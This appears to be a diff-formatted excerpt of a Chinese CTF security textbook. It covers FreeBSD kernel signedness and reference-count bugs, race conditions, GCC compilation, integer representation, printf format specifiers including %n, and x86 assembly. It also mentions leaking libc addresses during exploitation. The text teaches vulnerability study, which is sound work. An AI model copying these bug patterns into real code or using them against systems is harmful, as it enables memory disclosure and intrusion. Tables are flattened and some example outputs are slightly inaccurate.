+符号转换错误发生在将一个无符号数当做有符号数处理的时候。一个经典的场景是,一个有符号数经过某个最大值检测后传入一个函数,而这个函数只接收无符号数。
+看一个 FreeBSD V6.0 的例子:
+int fw_ioctl (struct cdev *dev, u_long cmd, caddr_t data, int flag, fw_proc *td)
+{
+[...]
+ int s, i, len, err = 0; [1]
+ [...]
+ struct fw_crom_buf *crom_buf = (struct fw_crom_buf *)data; [2]
+ [...]
+ if (fwdev == NULL) {
+ [...]
+ len = CROMSIZE;
+ [...]
+ } else {
+ [...]
+ if (fwdev->rommax < CSRROMOFF)
+ len = 0;
+ else
+ len = fwdev->rommax - CSRROMOFF + 4;
+ }
+ if (crom_buf->len < len) [3]
+ len = crom_buf->len;
+ else
+ crom_buf->len = len;
+ err = copyout(ptr, crom_buf->ptr, len); [4]
+}
+
+[1] 处的 len
是有符号整数,crom_buf->len
也是有符号数并且该值是我们可以控制的,如果它被设为一个负数,那么无论 len
的值是什么,[3] 处的条件都会满足。然后在 [4] 处,copyout()
被调用,该函数原型如下:
int copyout(const void *__restrict kaddr, void *__restrict udaddr, size_t len) __nonnull(1) __nonnull(2);
+
+第三个参数的类型 size_t
是一个无符号整数,所以当 len
是一个负数的时候,会被认为是一个很大的正整数,造成任意内核内存读取。
更多内存可以参见章节 3.1.2。
+如果有两个或两个以上执行者将要执行某一动作并且执行结果会由于它们执行顺序的不同而完全不同时,也就是发生了竞争条件。避免竞争条件的方法有很多,例如通过锁、信号量、条件变量等来保证各种行动者之间的同步性。竞争条件中最重要的一点是可竞争窗口的大小,它对于触发竞态条件的难易至关重要,由于这个原因,一些竞态条件的情况只能在对称多处理器(SMP)中被利用。
+逻辑 bug 有很多种,下面介绍一个引用计数器溢出。我们知道共享资源都有一个引用计数,并在计数为零时释放掉资源,保持足够的内存空间。操作系统往往提供 get 和 put/drop 这样的函数来显式地增加和减少引用计数。
+看一个 FreeBSD V5.0 的例子:
+int fpathconf(td, uap)
+ struct thread *td;
+ register struct fpathconf_args *uap;
+{
+ struct file *fp;
+ struct vnode *vp;
+ int error;
+ if ((error = fget(td, uap->fd, &fp)) != 0) [1]
+ return (error);
+[...]
+ switch (fp->f_type) {
+ case DTYPE_PIPE:
+ case DTYPE_SOCKET:
+ if (uap->name != _PC_PIPE_BUF)
+ return (EINVAL); [2]
+ p->p_retval[0] = PIPE_BUF;
+ error = 0;
+ break;
+[...]
+out:
+ fdrop(fp, td); [3]
+ return (error);
+}
+
+fpathconf()
系统调用用于获取一个特定的开放的文件描述符信息。所以该调用开头 [1] 处通过 fget()
获取该文件描述符结构的引用,然后在退出的时候 [3] 处通过 fdrop()
释放该引用。然而在 [2] 处的代码没有释放相关的引用计数就直接返回了。如果多次调用 fpathconf()
并触发 [2] 处的返回,则有可能导致引用计数器的溢出。
Asymmetric cryptography like RSA, ECC. A mathematic definition about security and attacks to the modern cryptography.
+Several cryptography methods are illustrated in this course, while you would learn how to perform cryptography attacks. Remember the key point: do not create a cryptography model without mathematics proof.
+Introduction to Modern Cryptography: Principles and Protocols
+新版暗号技術入門: 秘密の国のアリス
+About computer network, how Internet works and basic protocols about computer network.
+Computer network is the basic course for Web challenges. Learning about Computer Network and learn about networking protocols, vulnerabilities, and key ideas of network traffic.
+Computer Networking: A Top-Down Approach
+(Optional) TCP / IP Illustrated Volume 1, 2, 3
+Guide to the OS course, learning about modern operating systems from Windows, Linux, to Android. About hardware, process architecture, how OS schedule procedure.
+Computer Systems: A Programmer's Perspective
+From CTF challenges to the penetration testing and hacking a real system. Learn about how to carry out a real attack to the computer systems.
+Aim in AWD (Attack & Defense) CTF and learn how to penetration testing.
+The Hacker Playbook
+我们以经典著作《The C Programming Language》中的第一个程序 “Hello World” 为例,讲解 Linux 下 GCC 的编译过程。
+#include <stdio.h>
+main()
+{
+ printf("hello, world\n");
+}
+$gcc hello.c
+$./a.out
+hello world
+
+以上过程可分为4个步骤:预处理(Preprocessing)、编译(Compilation)、汇编(Assembly)和链接(Linking)。
+ +gcc -E hello.c -o hello.i
+# 1 "hello.c"
+# 1 "<built-in>"
+# 1 "<command-line>"
+......
+extern int printf (const char *__restrict __format, ...);
+......
+main() {
+ printf("hello, world\n");
+}
+
+预编译过程主要处理源代码中以 “#” 开始的预编译指令:
+gcc -S hello.c -o hello.s
+ .file "hello.c"
+ .section .rodata
+.LC0:
+ .string "hello, world"
+ .text
+ .globl main
+ .type main, @function
+main:
+.LFB0:
+ .cfi_startproc
+ pushq %rbp
+ .cfi_def_cfa_offset 16
+ .cfi_offset 6, -16
+ movq %rsp, %rbp
+ .cfi_def_cfa_register 6
+ leaq .LC0(%rip), %rdi
+ call puts@PLT
+ movl $0, %eax
+ popq %rbp
+ .cfi_def_cfa 7, 8
+ ret
+ .cfi_endproc
+.LFE0:
+ .size main, .-main
+ .ident "GCC: (GNU) 7.2.0"
+ .section .note.GNU-stack,"",@progbits
+
+编译过程就是把预处理完的文件进行一系列词法分析、语法分析、语义分析及优化后生成相应的汇编代码文件。
+$ gcc -c hello.s -o hello.o
+或者
+$gcc -c hello.c -o hello.o
+$ objdump -sd hello.o
+
+hello.o: file format elf64-x86-64
+
+Contents of section .text:
+ 0000 554889e5 488d3d00 000000e8 00000000 UH..H.=.........
+ 0010 b8000000 005dc3 .....].
+Contents of section .rodata:
+ 0000 68656c6c 6f2c2077 6f726c64 00 hello, world.
+Contents of section .comment:
+ 0000 00474343 3a202847 4e552920 372e322e .GCC: (GNU) 7.2.
+ 0010 3000 0.
+Contents of section .eh_frame:
+ 0000 14000000 00000000 017a5200 01781001 .........zR..x..
+ 0010 1b0c0708 90010000 1c000000 1c000000 ................
+ 0020 00000000 17000000 00410e10 8602430d .........A....C.
+ 0030 06520c07 08000000 .R......
+
+Disassembly of section .text:
+
+0000000000000000 <main>:
+ 0: 55 push %rbp
+ 1: 48 89 e5 mov %rsp,%rbp
+ 4: 48 8d 3d 00 00 00 00 lea 0x0(%rip),%rdi # b <main+0xb>
+ b: e8 00 00 00 00 callq 10 <main+0x10>
+ 10: b8 00 00 00 00 mov $0x0,%eax
+ 15: 5d pop %rbp
+ 16: c3 retq
+
+汇编器将汇编代码转变成机器可以执行的指令。
+gcc hello.o -o hello
+$ objdump -d -j .text hello
+......
+000000000000064a <main>:
+ 64a: 55 push %rbp
+ 64b: 48 89 e5 mov %rsp,%rbp
+ 64e: 48 8d 3d 9f 00 00 00 lea 0x9f(%rip),%rdi # 6f4 <_IO_stdin_used+0x4>
+ 655: e8 d6 fe ff ff callq 530 <puts@plt>
+ 65a: b8 00 00 00 00 mov $0x0,%eax
+ 65f: 5d pop %rbp
+ 660: c3 retq
+ 661: 66 2e 0f 1f 84 00 00 nopw %cs:0x0(%rax,%rax,1)
+ 668: 00 00 00
+ 66b: 0f 1f 44 00 00 nopl 0x0(%rax,%rax,1)
+......
+
+目标文件需要链接一大堆文件才能得到最终的可执行文件(上面只展示了链接后的 main 函数,可以和 hello.o 中的 main 函数作对比)。链接过程主要包括地址和空间分配(Address and Storage Allocation)、符号决议(Symbol Resolution)和重定向(Relocation)等。
+通常在编译后只会生成一个可执行文件,而中间过程生成的 .i
、.s
、.o
文件都不会被保存。我们可以使用参数 -save-temps
永久保存这些临时的中间文件。
$ gcc -save-temps hello.c
+$ ls
+a.out hello.c hello.i hello.o hello.s
+
+这里要注意的是,gcc 默认使用动态链接,所以这里生成的 a.out 实际上是共享目标文件。
+$ file a.out
+a.out: ELF 64-bit LSB shared object, x86-64, version 1 (SYSV), dynamically linked, interpreter /lib64/ld-linux-x86-64.so.2, for GNU/Linux 3.2.0, BuildID[sha1]=533aa4ca46d513b1276d14657ec41298cafd98b1, not stripped
+
+使用参数 --verbose
可以输出 gcc 详细的工作流程。
gcc hello.c -static --verbose
+
+东西很多,我们主要关注下面几条信息:
+$ /usr/lib/gcc/x86_64-pc-linux-gnu/7.2.0/cc1 -quiet -v hello.c -quiet -dumpbase hello.c -mtune=generic -march=x86-64 -auxbase hello -version -o /tmp/ccj1jUMo.s
+
+as -v --64 -o /tmp/ccAmXrfa.o /tmp/ccj1jUMo.s
+
+/usr/lib/gcc/x86_64-pc-linux-gnu/7.2.0/collect2 -plugin /usr/lib/gcc/x86_64-pc-linux-gnu/7.2.0/liblto_plugin.so -plugin-opt=/usr/lib/gcc/x86_64-pc-linux-gnu/7.2.0/lto-wrapper -plugin-opt=-fresolution=/tmp/cc1l5oJV.res -plugin-opt=-pass-through=-lgcc -plugin-opt=-pass-through=-lgcc_eh -plugin-opt=-pass-through=-lc --build-id --hash-style=gnu -m elf_x86_64 -static /usr/lib/gcc/x86_64-pc-linux-gnu/7.2.0/../../../../lib/crt1.o /usr/lib/gcc/x86_64-pc-linux-gnu/7.2.0/../../../../lib/crti.o /usr/lib/gcc/x86_64-pc-linux-gnu/7.2.0/crtbeginT.o -L/usr/lib/gcc/x86_64-pc-linux-gnu/7.2.0 -L/usr/lib/gcc/x86_64-pc-linux-gnu/7.2.0/../../../../lib -L/lib/../lib -L/usr/lib/../lib -L/usr/lib/gcc/x86_64-pc-linux-gnu/7.2.0/../../.. /tmp/ccAmXrfa.o --start-group -lgcc -lgcc_eh -lc --end-group /usr/lib/gcc/x86_64-pc-linux-gnu/7.2.0/crtend.o /usr/lib/gcc/x86_64-pc-linux-gnu/7.2.0/../../../../lib/crtn.o
+
+三条指令分别是 cc1
、as
和 collect2
,cc1 是 gcc 的编译器,将 .c
文件编译为 .s
文件,as 是汇编器命令,将 .s
文件汇编成 .o
文件,collect2 是链接器命令,它是对命令 ld 的封装。静态链接时,gcc 将 C 语言运行时库的 5 个重要目标文件 crt1.o
、crti.o
、crtbeginT.o
、crtend.o
、crtn.o
和 -lgcc
、-lgcc_eh
、-lc
表示的 3 个静态库链接到可执行文件中。
更多的内容我们会在 1.5.3 中专门对 ELF 文件进行讲解。
+C 运行库(CRT)是一套庞大的代码库,以支撑程序能够正常地运行。其中 C 语言标准库占据了最主要地位。
+常用的标准库文件头:
+glibc 即 GNU C Library,是为 GNU 操作系统开发的一个 C 标准库。glibc 主要由两部分组成,一部分是头文件,位于 /usr/include
;另一部分是库的二进制文件。二进制文件部分主要是 C 语言标准库,有动态和静态两个版本,动态版本位于 /lib/libc.so.6
,静态版本位于 /usr/lib/libc.a
。
在漏洞利用的过程中,通常我们通过计算目标函数地址相对于已知函数地址在同一个 libc 中的偏移,来获得目标函数的虚拟地址,这时我们需要让本地的 libc 版本和远程的 libc 版本相同,可以先泄露几个函数的地址,然后在 libcdb.com 中进行搜索来得到。
+默认情况下,C 语言中的数字是有符号数,下面我们声明一个有符号整数和无符号整数:
+int var1 = 0;
+unsigned int var2 = 0;
+
+int
的范围:-2,147,483,648 ~ 2,147,483,647
unsigned int
的范围:0 ~ 4,294,967,295
signed
或者 unsigned
取决于整数类型是否可以携带标志 +/-
:
在 signed int
中,二进制最高位被称作符号位,符号位被设置为 1
时,表示值为负,当设置为 0
时,值为非负:
二进制补码以一种适合于二进制加法器的方式来表示负数,当一个二进制补码形式表示的负数和与它的绝对值相等的正数相加时,结果为 0。首先以二进制方式写出正数,然后对所有位取反,最后加 1 就可以得到该数的二进制补码:
+eg: 0x00123456
+ = 1193046
+ = 00000000000100100011010001010110
+ ~= 11111111111011011100101110101001
+ += 11111111111011011100101110101010
+ = -1193046 (0xFFEDCBAA)
+
+编译器需要根据变量类型信息编译成相应的指令:
+32 位机器上的整型数据类型,不同的系统可能会有不同:
+C 数据类型 | +最小值 | +最大值 | +最小大小 | +
---|---|---|---|
char | +-128 | +127 | +8 bits | +
short | +-32 768 | +32 767 | +16 bits | +
int | +-2 147 483 648 | +2 147 483 647 | +16 bits | +
long | +-2 147 483 648 | +2 147 483 647 | +32 bits | +
long long | +-9 223 372 036 854 775 808 | +9 223 372 036 854 775 807 | +64 bits | +
固定大小的数据类型:
+int [# of bits]_t
int8_t, int16_t, int32_t
+uint[# of bits]_t
uint8_t, uint16_t, uint32_t
+有符号整数
+无符号整数
+更多信息在 stdint.h
和 limits.h
中:
man stdint.h
+cat /usr/include/stdint.h
+man limits.h
+cat /usr/include/limits.h
+
+了解整数的符号和大小是很有用的,在后面的相关章节中我们会介绍整数溢出的内容。
+C 标准中定义了下面的格式化输出函数(参考 man 3 printf
):
#include <stdio.h>
+
+int printf(const char *format, ...);
+int fprintf(FILE *stream, const char *format, ...);
+int dprintf(int fd, const char *format, ...);
+int sprintf(char *str, const char *format, ...);
+int snprintf(char *str, size_t size, const char *format, ...);
+
+#include <stdarg.h>
+
+int vprintf(const char *format, va_list ap);
+int vfprintf(FILE *stream, const char *format, va_list ap);
+int vdprintf(int fd, const char *format, va_list ap);
+int vsprintf(char *str, const char *format, va_list ap);
+int vsnprintf(char *str, size_t size, const char *format, va_list ap);
+
+fprintf()
按照格式字符串的内容将输出写入流中。三个参数为流、格式字符串和变参列表。printf()
等同于 fprintf()
,但是它假定输出流为 stdout
。sprintf()
等同于 fprintf()
,但是输出不是写入流而是写入数组。在写入的字符串末尾必须添加一个空字符。snprintf()
等同于 sprintf()
,但是它指定了可写入字符的最大值 size
。当 size
大于零时,输出字符超过第 size-1
的部分会被舍弃而不会写入数组中,在写入数组的字符串末尾会添加一个空字符。dprintf()
等同于 fprintf()
,但是它输出不是流而是一个文件描述符 fd
。vfprintf()
、vprintf()
、vsprintf()
、vsnprintf()
、vdprintf()
分别与上面的函数对应,只是它们将变参列表换成了 va_list
类型的参数。格式字符串是由普通字符(ordinary character)(包括 %
)和转换规则(conversion specification)构成的字符序列。普通字符被原封不动地复制到输出流中。转换规则根据与实参对应的转换指示符对其进行转换,然后将结果写入输出流中。
一个转换规则有可选部分和必需部分组成:
+%[ 参数 ][ 标志 ][ 宽度 ][ .精度 ][ 长度 ] 转换指示符
+
+字符 | +描述 | +
---|---|
d , i |
+有符号十进制数值 int 。'%d ' 与 '%i ' 对于输出是同义;但对于 scanf() 输入二者不同,其中 %i 在输入值有前缀 0x 或 0 时,分别表示 16 进制或 8 进制的值。如果指定了精度,则输出的数字不足时在左侧补 0。默认精度为 1。精度为 0 且值为 0,则输出为空 |
+
u |
+十进制 unsigned int 。如果指定了精度,则输出的数字不足时在左侧补 0。默认精度为 1。精度为 0 且值为 0,则输出为空 |
+
f , F |
+double 型输出 10 进制定点表示。'f ' 与 'F ' 差异是表示无穷与 NaN 时,'f ' 输出 'inf ', 'infinity ' 与 'nan ';'F ' 输出 'INF ', 'INFINITY ' 与 'NAN '。小数点后的数字位数等于精度,最后一位数字四舍五入。精度默认为 6。如果精度为 0 且没有 # 标记,则不出现小数点。小数点左侧至少一位数字 |
+
e , E |
+double 值,输出形式为 10 进制的([- ]d.ddd e [+ /- ]ddd). E 版本使用的指数符号为 E (而不是e )。指数部分至少包含 2 位数字,如果值为 0,则指数部分为 00。Windows 系统,指数部分至少为 3 位数字,例如 1.5e002,也可用 Microsoft 版的运行时函数 _set_output_format 修改。小数点前存在 1 位数字。小数点后的数字位数等于精度。精度默认为 6。如果精度为 0 且没有 # 标记,则不出现小数点 |
+
g , G |
+double 型数值,精度定义为全部有效数字位数。当指数部分在闭区间 [-4,精度] 内,输出为定点形式;否则输出为指数浮点形式。'g ' 使用小写字母,'G ' 使用大写字母。小数点右侧的尾数 0 不被显示;显示小数点仅当输出的小数部分不为 0 |
+
x , X |
+16 进制 unsigned int 。'x ' 使用小写字母;'X ' 使用大写字母。如果指定了精度,则输出的数字不足时在左侧补 0。默认精度为 1。精度为 0 且值为 0,则输出为空 |
+
o |
+8 进制 unsigned int 。如果指定了精度,则输出的数字不足时在左侧补 0。默认精度为 1。精度为 0 且值为 0,则输出为空 |
+
s |
+如果没有用 l 标志,输出 null 结尾字符串直到精度规定的上限;如果没有指定精度,则输出所有字节。如果用了 l 标志,则对应函数参数指向 wchar_t 型的数组,输出时把每个宽字符转化为多字节字符,相当于调用 wcrtomb 函数 |
+
c |
+如果没有用 l 标志,把 int 参数转为 unsigned char 型输出;如果用了 l 标志,把 wint_t 参数转为包含两个元素的 wchart_t 数组,其中第一个元素包含要输出的字符,第二个元素为 null 宽字符 |
+
p |
+void * 型,输出对应变量的值。printf("%p", a) 用地址的格式打印变量 a 的值,printf("%p", &a) 打印变量 a 所在的地址 |
+
a , A |
+double 型的 16 进制表示,"[−]0xh.hhhh p±d"。其中指数部分为 10 进制表示的形式。例如:1025.010 输出为 0x1.004000p+10。'a ' 使用小写字母,'A ' 使用大写字母 |
+
n |
+不输出字符,但是把已经成功输出的字符个数写入对应的整型指针参数所指的变量 | +
% |
+'% ' 字面值,不接受任何除了 参数 以外的部分 |
+
字符 | +描述 | +
---|---|
n$ |
+n 是用这个格式说明符显示第几个参数;这使得参数可以输出多次,使用多个格式说明符,以不同的顺序输出。如果任意一个占位符使用了 参数 ,则其他所有占位符必须也使用 参数 。例:printf("%2$d %2$#x; %1$d %1$#x",16,17) 产生 "17 0x11; 16 0x10 " |
+
字符 | +描述 | +
---|---|
+ |
+总是表示有符号数值的 '+ ' 或 '- ' 号,缺省情况是忽略正数的符号。仅适用于数值类型 |
+
空格 | +使得有符号数的输出如果没有正负号或者输出 0 个字符,则前缀 1 个空格。如果空格与 '+ ' 同时出现,则空格说明符被忽略 |
+
- |
+左对齐。缺省情况是右对齐 | +
# |
+对于 'g ' 与 'G ',不删除尾部 0 以表示精度。对于 'f ', 'F ', 'e ', 'E ', 'g ', 'G ', 总是输出小数点。对于 'o ', 'x ', 'X ', 在非 0 数值前分别输出前缀 0 , 0x 和 0X 表示数制 |
+
0 |
+如果 宽度 选项前缀为 0 ,则在左侧用 0 填充直至达到宽度要求。例如 printf("%2d", 3) 输出 "3 ",而 printf("%02d", 3) 输出 "03 "。如果 0 与 - 均出现,则 0 被忽略,即左对齐依然用空格填充 |
+
是一个用来指定输出字符的最小个数的十进制非负整数。如果实际位数多于定义的宽度,则按实际位数输出;如果实际位数少于定义的宽度则补以空格或 0。
+精度是用来指示打印字符个数、小数位数或者有效数字个数的非负十进制整数。对于 d
、i
、u
、x
、o
的整型数值,是指最小数字位数,不足的位要在左侧补 0,如果超过也不截断,缺省值为 1。对于 a
, A
, e
, E
, f
, F
的浮点数值,是指小数点右边显示的数字位数,必要时四舍五入;缺省值为 6。对于 g
, G
的浮点数值,是指有效数字的最大位数。对于 s
的字符串类型,是指输出的字节的上限,超出限制的其它字符将被截断。如果域宽为 *
,则由对应的函数参数的值为当前域宽。如果仅给出了小数点,则域宽为 0。
字符 | +描述 | +
---|---|
hh |
+对于整数类型,printf 期待一个从 char 提升的 int 整型参数 |
+
h |
+对于整数类型,printf 期待一个从 short 提升的 int 整型参数 |
+
l |
+对于整数类型,printf 期待一个 long 整型参数。对于浮点类型,printf 期待一个 double 整型参数。对于字符串 s 类型,printf 期待一个 wchar_t 指针参数。对于字符 c 类型,printf 期待一个 wint_t 型的参数 |
+
ll |
+对于整数类型,printf 期待一个 long long 整型参数。Microsoft 也可以使用 I64 |
+
L |
+对于浮点类型,printf 期待一个 long double 整型参数 |
+
z |
+对于整数类型,printf 期待一个 size_t 整型参数 |
+
j |
+对于整数类型,printf 期待一个 intmax_t 整型参数 |
+
t |
+对于整数类型,printf 期待一个 ptrdiff_t 整型参数 |
+
printf("Hello %%"); // "Hello %"
+printf("Hello World!"); // "Hello World!"
+printf("Number: %d", 123); // "Number: 123"
+printf("%s %s", "Format", "Strings"); // "Format Strings"
+
+printf("%12c", 'A'); // " A"
+printf("%16s", "Hello"); // " Hello!"
+
+int n;
+printf("%12c%n", 'A', &n); // n = 12
+printf("%16s%n", "Hello!", &n); // n = 16
+
+printf("%2$s %1$s", "Format", "Strings"); // "Strings Format"
+printf("%42c%1$n", &n); // 首先输出41个空格,然后输出 n 的低八位地址作为一个字符
+
+这里我们对格式化输出函数和格式字符串有了一个详细的认识,后面的章节中我们会介绍格式化字符串漏洞的内容。
+mov
和 lea
指令setx
和movx
现代 ( 386及以上的机器 )x86 处理器有 8 个 32 位通用寄存器, 如图 1 所示.
+这些寄存器的名字都是有点历史的, 例如 EAX 过去被称为 累加器, 因为它被用来作很多算术运算, 还有 ECX
被称为 计数器 , 因为它被用来保存循环的索引 ( 就是循环次数 ). 尽管大多是寄存器在现代指令集中已经失去了它们的特殊用途, 但是按照惯例, 其中有两个寄存器还是有它们的特殊用途 ---ESP
和 EBP.
对于 EAS
, EBX
, ECX
还有 EDX
寄存器, 它们可以被分段开来使用. 例如, 可以将 EAX
的最低的 2 位字节视为 16 位寄存器 ( AX
). 还可以将 AX
的最低位的 1 个字节看成 8 位寄存器来用 ( AL
), 当然 AX
的高位的 1 个字节也可以看成是一个 8 位寄存器 ( AH
). 这些名称有它们相对应的物理寄存器. 当两个字节大小的数据被放到 DX
的时候, 原本 DH
, DL
和 EDX
的数据会受到影响 ( 被覆盖之类的 ). 这些 " 子寄存器 " 主要来自于比较久远的 16 位版本指令集. 然而, 姜还是老的辣, 在处理小于 32 位的数据的时候, 比如 1 个字节的 ASCII 字符, 它们有时会很方便.
你可以用特殊的 x86 汇编指令在内存中声明静态数据区域 ( 类似于全局变量 ). .data
指令用来声明数据. 根据这条指令, .byte
, .short
和 .long
可以分别用来声明 1 个字节, 2 个字节和 4 个字节的数据. 我们可以给它们打个标签, 用来引用创建的数据的地址. 标签在汇编语言中是非常有用的, 它们给内存地址命名, 然后编译器 和链接器 将其 " 翻译 " 成计算机理解的机器代码. 这个跟用名称来声明变量很类似, 但是它遵守一些较低级别的规则. 例如, 按顺序声明的位置将彼此相邻地存储在内存中. 这话也许有点绕, 就是按照顺序打的标签, 这些标签对应的数据也会按照顺序被放到内存中.
一些例子 :
+.data
+var :
+ .byte 64 ;声明一个字节型变量 var, 其所对应的数据是64
+ .byte 10 ;声明一个数据 10, 这个数据没有所谓的 " 标签 ", 它的内存地址就是 var+1.
+
+x :
+ .short 42 ;声明一个大小为 2 个字节的数据, 这个数据有个标签 " x "
+
+y :
+ .long 30000 ;声明一个大小为 4 个字节的数据, 这个数据标签是 " y ", y 的值被初始化为 30000
+
+与高级语言不同, 高级语言的数组可以具有多个维度并且可以通过索引来访问, x86 汇编语言的数组只是在内存中连续的" 单元格 ". 你只需要把数值列出来就可以声明一个数组, 比如下面的第一个例子. 对于一些字节型数组的特殊情况, 我们可以使用字符串. 如果要在大多数的内存填充 0, 你可以使用.zero
指令.
例子 :
+s :
+ .long 1, 2, 3 ;声明 3 个大小为 4 字节的数据 1, 2, 3. 内存中 s+8 这个标签所对应的数据就是 3.
+
+barr:
+ .zero 10 ;从 barr 这个标签的位置开始, 声明 10 个字节的数据, 这些数据被初始化为 0.
+
+str :
+ .string "hello" ;从 str 这个标签的位置开始, 声明 6 个字节的数据, 即 hello 对应的 ASCII 值, 这最后还跟有一个 nul(0) 字节.
+
+
+
+
+现代x86兼容处理器能够寻址高达 2^32 字节的内存 : 内存地址为 32 位宽. 在上面的示例中,我们使用标签来引用内存区域,这些标签实际上被 32 位数据的汇编程序替换,这些数据指定了内存中的地址. 除了支持通过标签(即常数值)引用存储区域之外,x86提供了一种灵活的计算和引用内存地址的方案 :最多可将两个32位寄存器和一个32位有符号常量相加,以计算存储器地址. 其中一个寄存器可以选择预先乘以 2, 4 或 8.
+寻址模式可以和许多 x86 指令一起使用 ( 我们将在下一节对它们进行讲解 ). 这里我们用mov
指令在寄存器和内存中移动数据当作例子. 这个指令有两个参数, 第一个是数据的来源, 第二个是数据的去向.
一些mov
的例子 :
mov (%ebx), %eax ;从 EBX 中的内存地址加载 4 个字节的数据到 EAX, 就是把 EBX 中的内容当作标签, 这个标签在内存中对应的数据放到 EAX 中
+;后面如果没有说明的话, (%ebx)就表示寄存器ebx中存储的内容
+
+mov %ebx, var(,1) ; 将 EBX 中的 4 个字节大小的数据移动的内存中标签为 var 的地方去.( var 是一个 32 位常数).
+
+mov (%esi, %ebx, 4), %edx ;将内存中标签为 ESI+4*EBX 所对应的 4 个字节大小的数据移动到 EDX中.
+
+一些错误的例子:
+mov (%ebx, %ecx, -1), %eax ;这个只能把寄存器中的值加上一遍.
+mov %ebx,(%eax, %esi, %edi, 1) ;在地址计算中, 最多只能出现 2 个寄存器, 这里却有 3 个寄存器.
+
+通常, 给定内存地址的数据类型可以从引用它的汇编指令推断出来. 例如, 在上面的指令中, 你可以从寄存器操作数的大小来推出其所占的内存大小. 当我们加载一个 32 位的寄存器的时候, 编译器就可以推断出我们用到的内存大小是 4 个字节宽. 当我们将 1 个字节宽的寄存器的值保存到内存中时, 编译器可以推断出我们想要在内存中弄个 1 字节大小的 " 坑 " 来保存我们的数据.
+然而在某些情况下, 我们用到的内存中 " 坑 " 的大小是不明确的. 比如说这条指令 mov $2,(%ebx)
. 这条指令是否应该将 " 2 " 这个值移动到 EBX 中的值所代表的地址 " 坑 " 的单个字节中 ? 也许它表示的是将 32 位整数表示的 2 移动到从地址 EBX 开始的 4 字节. 既然这两个解释都有道理, 但计算机汇编程序必须明确哪个解释才是正确的, 计算机很单纯的, 要么是错的要么是对的. 前缀 b, w, 和 l 就是来解决这个问题的, 它们分别表示 1, 2 和 4 个字节的大小.
举几个例子 :
+movb $2, (%ebx) ;将 2 移入到 ebx 中的值所表示的地址单元中.
+movw $2, (%ebx) ;将 16 位整数 2 移动到 从 ebx 中的值所表示的地址单元 开始的 2 个字节中;这话有点绕, 所以我故意在里面加了点空格, 方便大家理解.
+movl $2,(%ebx) ;将 32 位整数 2 移动到 从 ebx中的值表示的地址单元 开始的 4 个字节中.
+
+机器指令通常分为 3 类 : 数据移动指令, 逻辑运算指令和流程控制指令. 在本节中, 我们将讲解每一种类型的 x86 指令以及它们的重要示例. 当然, 我们不可能把 x86 所有指令讲得特别详细, 毕竟篇幅和水平有限. 完整的指令列表, 请参阅 intel 的指令集参考手册.
+我们将使用以下符号 :
+<reg32 任意的 32 位寄存器 (%eax, %ebx, %ecx, %edx, %esi, %edi, %esp 或者 %eb)
+<reg16 任意的 16 位寄存器 (%ax, %bx, %cx 或者 %dx)
+<reg8 任意的 8 位寄存器 (%ah, %al, %bh, %bl, %ch, %cl, %dh, %dl)
+<reg 任意的寄存器
+<mem 一个内存地址, 例如 (%eax), 4+var, (%eax, %ebx, 1)
+<con32 32 位常数
+<con16 16 位常数
+<con8 8 位常数
+<con 任意 32位, 16 位或者 8 位常数
+
+在汇编语言中, 用作立即操作数 的所有标签和数字常量 ( 即不在诸如3 (%eax, %ebx, 8)
这样的地址计算中 ) 总是以美元符号 $ 为前缀. 需要的时候, 前缀 0x 表示十六进制数, 例如$ 0xABC
. 如果没有前缀, 则默认该数字为十进制数.
mov
移动mov
指令将数据从它的第一个参数 ( 即寄存器中的内容, 内存单元中的内容, 或者一个常数值 ) 复制到它的第二个参数 ( 即寄存器或者内存单元 ). 当寄存器到寄存器之间的数据移动是可行的时候, 直接地从内存单元中将数据移动到另一内存单元中是不行的. 在这种需要在内存单元中传递数据的情况下, 它数据来源的那个内存单元必须首先把那个内存单元中的数据加载到一个寄存器中, 然后才可以通过这个寄存器来把数据移动到目标内存单元中.
mov <reg, <reg
+mov <reg, <mem
+mov <mem, <reg
+mov <con, <reg
+mov <con, <mem
+
+mov %ebx, %eax ;将 EBX 中的值复制到 EAX 中
+mov $5, var(,1) ;将数字 5 存到字节型内存单元 " var "
+
+
+push
入栈push
指令将它的参数移动到硬件支持的栈内存顶端. 特别地, push
首先将 ESP 中的值减少 4, 然后将它的参数移动到一个 32 位的地址单元 ( %esp ). ESP ( 栈指针 ) 会随着不断入栈从而持续递减, 即栈内存是从高地址单元到低地址单元增长.
push <reg32
+push <mem
+push <con32
+
+push %eax ;将 EAX 送入栈
+push var(,1) ;将 var 对应的 4 字节大小的数据送入栈中
+
+pop
出栈pop
指令从硬件支持的栈内存顶端移除 4 字节的数据, 并把这个数据放到该指令指定的参数中 ( 即寄存器或者内存单元 ). 其首先将内存中 ( %esp ) 的 4 字节数据放到指定的寄存器或者内存单元中, 然后让 ESP + 4.
pop <reg32
+pop <mem
+
+pop %edi ;将栈顶的元素移除, 并放入到寄存器 EDI 中.
+pop (%ebx) ;将栈顶的元素移除, 并放入从 EBX 开始的 4 个字节大小的内存单元中.
+
+重点内容 : 栈 栈是一种特殊的存储空间, 特殊在它的访问形式上, 它的访问形式就是最后进入这个空间的数据, 最先出去, 也就是 "先进后出, 后进先出".
+lea
加载有效地址lea
指令将其第一个参数指定的内存单元 放入到 第二个参数指定的寄存器中. 注意, 该指令不加载内存单元中的内容, 只是计算有效地址并将其放入寄存器. 这对于获得指向存储器区域的指针或者执行简单的算术运算非常有用.
也许这里你会看得一头雾水, 不过你不必担心, 这里有更为通俗易懂的解释. 汇编语言中 lea 指令和 mov 指令的区别 ? MOV
指令的功能是传送数据,例如 MOV AX,[1000H]
,作用是将 1000H 作为偏移地址,寻址找到内存单元,将该内存单元中的数据送至 AX; LEA
指令的功能是取偏移地址,例如 LEA AX,[1000H]
,作用是将源操作数 [1000H] 的偏移地址 1000H 送至 AX。理解时,可直接将[ ]去掉,等同于 MOV AX,1000H
。 再如:LEA BX,[AX]
,等同于 MOV BX,AX
;LEA BX,TABLE
等同于 MOV BX,OFFSET TABLE
。 但有时不能直接使用 MOV
代替: 比如:LEA AX,[SI+6]
不能直接替换成:MOV AX,SI+6
;但可替换为: MOV AX,SI
ADD AX,6
两步完成。
lea <mem, <reg32
+
+lea (%ebx,%esi,8), %edi ;EBX+8*ESI 的值被移入到了 EDI
+lea val(,1), %eax ;val 的值被移入到了 EAX
+
+add
整数相加add
指令将两个参数相加, 然后将结果存放到第二个参数中. 注意, 参数可以是寄存器,但参数中最多只有一个内存单元. 这话有点绕, 我们直接看语法 :
add <reg, <reg
+add <mem, <reg
+add <reg, <mem
+add <con, <reg
+add <con, <mem
+
